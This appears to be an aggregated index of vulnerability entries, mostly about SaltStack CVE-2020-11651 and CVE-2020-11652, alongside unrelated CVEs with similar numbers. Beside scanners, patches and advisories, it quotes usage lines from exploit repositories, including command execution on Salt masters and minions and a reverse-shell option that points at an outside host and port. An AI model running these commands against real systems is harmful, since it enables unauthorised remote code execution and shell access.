SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

1 What is it? Scanning tool to test for SaltStack vulnerabilities CVE-2020-11651 & CVE-2020-11652. The vulnerabilities allow an attacker who can connect to the "request server" port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write file...

salt-vulnerabilities

Salt Stack Profile This profile will check to make sure your salt installation is patched to a level that protects you from CVE-2020-11651, and CVE-2020-11652. It does so by checking to ensure the packages salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic, and salt are either...

CVE-2020-11652

CVE-2020-11652 saltstack CVE-2020-11652 参照 https://github.com/jasperla/CVE-2020-11651-poc...

CVE-2020-11652-POC

CVE-2020-11652-CVE-2020-11652-POC This is a fix POC CVE-2020-11651 & CVE-2020-11651 Original version: https://github.com/Al1ex/CVE-2020-11652 Error Fixed: TransportWarning: Unclosed transport! pip3 install salt RCE python3 CVE-2020-11652.py --master --port --exec-choose master --exec-cmd 'whoami'...

CVE-2020-11651-CVE-2020-11652-EXP

This repository does not have a README...

salt-security-backports

以前のバージョンの公式パッチは以下でリクエストできます: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ ここのパッチはカスタムであり、公式のものとは異なる場合があります ⚠ サポートされていない Salt バージョン向けのバックポートされたセキュリティパッチ このリポジトリのパッチは以下の CVE に対応しています: CVE-2020-11651 および CVE-2020-11652 - https://labs.f-secure.com/advisories/saltstack-authorization-bypass...

Chromium: CVE-2026-11653 Insufficient validation of untrusted input in Extensions

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...

CVE-2026-11652 vulnerabilities

Vulnerabilities for packages: chromium...

CVE-2026-11652 vulnerabilities

Vulnerabilities for packages: chromium...

CVE-2025-11652

creationtimestamp| type| source ---|---|--- 2025-10-13 04:35:08+00:00| seen| https://bsky.app/profile/offseq.bsky.social/post/3m32f7f36cy2i 2026-01-08 18:12:29+00:00| seen| Telegram/RGxXEeRer5kVi5nLeLcL052GAZFfig-LMnXOUBGknIQyg...

CVE-2025-11652

A vulnerability was found in UTT 进取 518G up to V3v3.2.7-210919-161313. This issue affects some unknown processing of the file /goform/formTaskEditap. The manipulation of the argument txtMin2 results in buffer overflow. The attack may be performed from remote. The exploit has been made public and...

Linux Distros Unpatched Vulnerability : CVE-2018-11652

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers to inject arbitrary OS commands via the Server field in an HTTP response header,...

CVE-2024-11652

The CVE-2024-11652 entry affects EnGenius ENH1350EXT, ENS500-AC, and ENS620EXT (firmware up to 2024-11-18). The vulnerability targets an unknown functionality in the file /admin/sn_package/sn_https, where manipulating the argument https_enable yields a remote command injection. Public exploit/dis...

CVE-2024-11652 EnGenius ENH1350EXT/ENS500-AC/ENS620EXT sn_https command injection

A vulnerability was found in EnGenius ENH1350EXT, ENS500-AC and ENS620EXT up to 20241118. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /admin/snpackage/snhttps. The manipulation of the argument httpsenable leads to command injection. The...

Ubuntu 14.04 LTS : Salt vulnerabilities (USN-6849-1)

The remote Ubuntu 14.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6849-1 advisory. It was discovered that Salt incorrectly validated method calls and sanitized paths. A remote attacker could possibly use this issue to access some method...

Ubuntu: Security Advisory (USN-6849-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Exploit for Path Traversal in Saltstack Salt

CVE-2020-11652-CVE-2020-11652-POC This is a fix POC CVE-2020-...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:2106-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:0899-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...